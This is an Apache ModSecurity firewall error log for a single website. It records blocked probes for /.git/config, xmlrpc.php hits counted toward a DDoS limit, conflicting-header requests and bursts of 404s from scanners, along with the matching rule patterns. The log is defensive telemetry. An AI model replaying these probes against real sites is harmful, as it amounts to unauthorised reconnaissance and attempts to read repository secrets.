[Mon May 04 20:45:00.719179 2026] [:error] [pid 61042:tid 61057] [client 34.40.197.50:41398] [client 34.40.197.50] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "afiUzEnAPPS1fjubA9RXZQAAAMs"]
[Mon May 04 20:48:41.636770 2026] [:error] [pid 61044:tid 61103] [client 103.147.118.42:53028] [client 103.147.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.147.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afiVqUw8w2zZZXI6H1ucgwAAAAE"]
[Mon May 04 20:48:51.765820 2026] [:error] [pid 61044:tid 61117] [client 103.147.118.42:64401] [client 103.147.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.147.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afiVs0w8w2zZZXI6H1uchwAAAA8"]
[Mon May 04 20:49:02.575737 2026] [:error] [pid 61044:tid 61118] [client 103.147.118.42:58714] [client 103.147.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.147.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afiVvkw8w2zZZXI6H1uclwAAABA"]
[Mon May 04 20:49:13.226278 2026] [:error] [pid 61043:tid 61076] [client 103.147.118.42:61357] [client 103.147.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.147.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afiVyZ8-LwtfURjiAbDDUwAAAEE"]
[Mon May 04 20:49:44.851669 2026] [:error] [pid 32471:tid 32481] [client 103.147.118.42:57821] [client 103.147.118.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.147.118.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afiV6Hmjpb9EYq6AqhJdhgAAAQc"]
[Mon May 04 21:49:50.247094 2026] [:error] [pid 61043:tid 61086] [client 43.162.103.213:34778] [client 43.162.103.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afij_p8-LwtfURjiAbDQIwAAAEs"]
[Mon May 04 23:02:31.849698 2026] [:error] [pid 61150:tid 61156] [client 114.119.144.229:51559] [client 114.119.144.229] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/page-sitemap.xml"] [unique_id "afi1B-8QXWVLiwIGVpeeJgAAAUM"]
[Mon May 04 23:02:39.558605 2026] [:error] [pid 61150:tid 61164] [client 187.16.107.162:49831] [client 187.16.107.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.16.107.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afi1D-8QXWVLiwIGVpeeQgAAAUs"]
[Mon May 04 23:02:48.881971 2026] [:error] [pid 61042:tid 61049] [client 187.16.107.162:50354] [client 187.16.107.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.16.107.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afi1GEnAPPS1fjubA9RqWQAAAMM"]
[Mon May 04 23:02:59.686663 2026] [:error] [pid 32471:tid 32478] [client 187.16.107.162:50822] [client 187.16.107.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.16.107.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afi1I3mjpb9EYq6AqhKEGwAAAQQ"]
[Mon May 04 23:03:10.008749 2026] [:error] [pid 3341:tid 3351] [client 187.16.107.162:51272] [client 187.16.107.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.16.107.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afi1Lk9o3_LordU0wW6LlAAAAIc"]
[Mon May 04 23:03:21.037304 2026] [:error] [pid 32471:tid 32490] [client 187.16.107.162:51726] [client 187.16.107.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.16.107.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afi1OXmjpb9EYq6AqhKEPAAAARA"]
[Tue May 05 01:08:46.904114 2026] [:error] [pid 3341:tid 3354] [client 172.70.248.174:13924] [client 172.70.248.174] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "afjSnk9o3_LordU0wW697wAAAIo"]
[Tue May 05 01:17:32.392567 2026] [:error] [pid 61150:tid 61174] [client 1.12.70.96:58150] [client 1.12.70.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afjUrO8QXWVLiwIGVpe3xwAAAVU"]
[Tue May 05 01:27:13.857021 2026] [:error] [pid 3341:tid 3345] [client 147.135.213.107:35140] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "afjW8U9o3_LordU0wW7GCwAAAIE"]
[Tue May 05 01:27:15.704829 2026] [:error] [pid 61044:tid 61112] [client 147.135.213.107:52998] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "afjW80w8w2zZZXI6H1vHpAAAAAo"]
[Tue May 05 01:27:17.767784 2026] [:error] [pid 32471:tid 32481] [client 147.135.213.107:53012] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "afjW9Xmjpb9EYq6AqhKw0AAAAQc"]
[Tue May 05 01:27:19.804545 2026] [:error] [pid 61043:tid 61099] [client 147.135.213.107:53028] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "afjW958-LwtfURjiAbD91AAAAFg"]
[Tue May 05 01:27:21.872684 2026] [:error] [pid 61150:tid 61167] [client 147.135.213.107:36162] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "afjW-e8QXWVLiwIGVpe5cgAAAU4"]
[Tue May 05 01:27:23.920415 2026] [:error] [pid 61150:tid 61166] [client 147.135.213.107:36174] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "afjW--8QXWVLiwIGVpe5dwAAAU0"]
[Tue May 05 01:27:25.807530 2026] [:error] [pid 32471:tid 32481] [client 147.135.213.107:36180] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afjW_Xmjpb9EYq6AqhKw3wAAAQc"]
[Tue May 05 01:27:27.694698 2026] [:error] [pid 32471:tid 32478] [client 147.135.213.107:36182] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "afjW_3mjpb9EYq6AqhKw6wAAAQQ"]
[Tue May 05 01:27:29.739993 2026] [:error] [pid 3341:tid 3359] [client 147.135.213.107:36196] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afjXAU9o3_LordU0wW7GHwAAAI8"]
[Tue May 05 01:27:31.620684 2026] [:error] [pid 32471:tid 32481] [client 147.135.213.107:53276] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "afjXA3mjpb9EYq6AqhKw9wAAAQc"]
[Tue May 05 01:27:33.519526 2026] [:error] [pid 61044:tid 61109] [client 147.135.213.107:53282] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "afjXBUw8w2zZZXI6H1vHxQAAAAc"]
[Tue May 05 01:27:35.548288 2026] [:error] [pid 3341:tid 3353] [client 147.135.213.107:53284] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "afjXB09o3_LordU0wW7GKwAAAIk"]
[Tue May 05 01:27:37.426750 2026] [:error] [pid 61042:tid 61069] [client 147.135.213.107:53292] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "afjXCUnAPPS1fjubA9R_hgAAANc"]
[Tue May 05 01:27:39.314491 2026] [:error] [pid 61150:tid 61172] [client 147.135.213.107:53296] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "afjXC-8QXWVLiwIGVpe5kAAAAVM"]
[Tue May 05 01:27:41.355398 2026] [:error] [pid 3341:tid 3353] [client 147.135.213.107:40460] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "afjXDU9o3_LordU0wW7GOQAAAIk"]
[Tue May 05 01:27:43.234277 2026] [:error] [pid 32471:tid 32474] [client 147.135.213.107:40476] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "afjXD3mjpb9EYq6AqhKxBQAAAQA"]
[Tue May 05 01:27:45.112721 2026] [:error] [pid 3341:tid 3358] [client 147.135.213.107:40492] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afjXEU9o3_LordU0wW7GRgAAAI4"]
[Tue May 05 01:27:47.153933 2026] [:error] [pid 61044:tid 61110] [client 147.135.213.107:40496] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "afjXE0w8w2zZZXI6H1vH6AAAAAg"]
[Tue May 05 01:27:49.037072 2026] [:error] [pid 61150:tid 61171] [client 147.135.213.107:40504] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "afjXFe8QXWVLiwIGVpe5lgAAAVI"]
[Tue May 05 01:27:51.061944 2026] [:error] [pid 3341:tid 3351] [client 147.135.213.107:42022] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "afjXF09o3_LordU0wW7GVQAAAIc"]
[Tue May 05 01:27:52.947301 2026] [:error] [pid 61042:tid 61063] [client 147.135.213.107:42024] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "afjXGEnAPPS1fjubA9R_pwAAANE"]
[Tue May 05 01:27:54.981128 2026] [:error] [pid 61043:tid 61085] [client 147.135.213.107:42034] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afjXGp8-LwtfURjiAbD9_wAAAEo"]
[Tue May 05 01:27:56.859565 2026] [:error] [pid 3341:tid 3349] [client 147.135.213.107:42036] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "afjXHE9o3_LordU0wW7GYQAAAIU"]
[Tue May 05 01:27:58.750194 2026] [:error] [pid 3341:tid 3367] [client 147.135.213.107:42044] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "afjXHk9o3_LordU0wW7GagAAAJc"]
[Tue May 05 01:28:00.777361 2026] [:error] [pid 61150:tid 61168] [client 147.135.213.107:40994] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afjXIO8QXWVLiwIGVpe5ogAAAU8"]
[Tue May 05 01:28:02.648886 2026] [:error] [pid 61043:tid 61096] [client 147.135.213.107:40998] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "afjXIp8-LwtfURjiAbD-BgAAAFU"]
[Tue May 05 01:28:04.688132 2026] [:error] [pid 32471:tid 32477] [client 147.135.213.107:41004] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "afjXJHmjpb9EYq6AqhKxFQAAAQM"]
[Tue May 05 01:28:06.553925 2026] [:error] [pid 32471:tid 32484] [client 147.135.213.107:41006] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "afjXJnmjpb9EYq6AqhKxFwAAAQo"]
[Tue May 05 01:28:08.575209 2026] [:error] [pid 32471:tid 32494] [client 147.135.213.107:41012] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "afjXKHmjpb9EYq6AqhKxGgAAARQ"]
[Tue May 05 02:23:09.343559 2026] [:error] [pid 3341:tid 3364] [client 105.109.48.218:53335] [client 105.109.48.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.109.48.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afjkDU9o3_LordU0wW7aUwAAAJQ"]
[Tue May 05 02:23:41.213230 2026] [:error] [pid 32471:tid 32490] [client 105.109.48.218:54554] [client 105.109.48.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.109.48.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afjkLXmjpb9EYq6AqhK_8AAAARA"]
[Tue May 05 02:24:21.807465 2026] [:error] [pid 3341:tid 3357] [client 105.109.48.218:56043] [client 105.109.48.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.109.48.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afjkVU9o3_LordU0wW7arwAAAI0"]
[Tue May 05 02:24:30.433343 2026] [:error] [pid 61043:tid 61080] [client 105.109.48.218:56393] [client 105.109.48.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.109.48.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afjkXp8-LwtfURjiAbAKbgAAAEU"]
[Tue May 05 02:24:42.148535 2026] [:error] [pid 61150:tid 61156] [client 105.109.48.218:56776] [client 105.109.48.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.109.48.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afjkau8QXWVLiwIGVpfDVgAAAUM"]
[Tue May 05 03:05:10.735134 2026] [:error] [pid 3341:tid 3349] [client 147.135.252.145:39774] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afjt5k9o3_LordU0wW7mzAAAAIU"]
[Tue May 05 03:05:12.835896 2026] [:error] [pid 32471:tid 32492] [client 147.135.252.145:45790] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afjt6Hmjpb9EYq6AqhLNMAAAARI"]
[Tue May 05 03:05:14.869141 2026] [:error] [pid 32471:tid 32494] [client 147.135.252.145:45806] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "afjt6nmjpb9EYq6AqhLNPgAAARQ"]
[Tue May 05 03:05:16.900289 2026] [:error] [pid 61042:tid 61058] [client 147.135.252.145:45808] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "afjt7EnAPPS1fjubA9SLnQAAAMw"]
[Tue May 05 03:05:18.858530 2026] [:error] [pid 61150:tid 61167] [client 147.135.252.145:45824] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "afjt7u8QXWVLiwIGVpfJ6QAAAU4"]
[Tue May 05 03:05:20.957715 2026] [:error] [pid 3341:tid 3359] [client 147.135.252.145:34640] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "afjt8E9o3_LordU0wW7m4AAAAI8"]
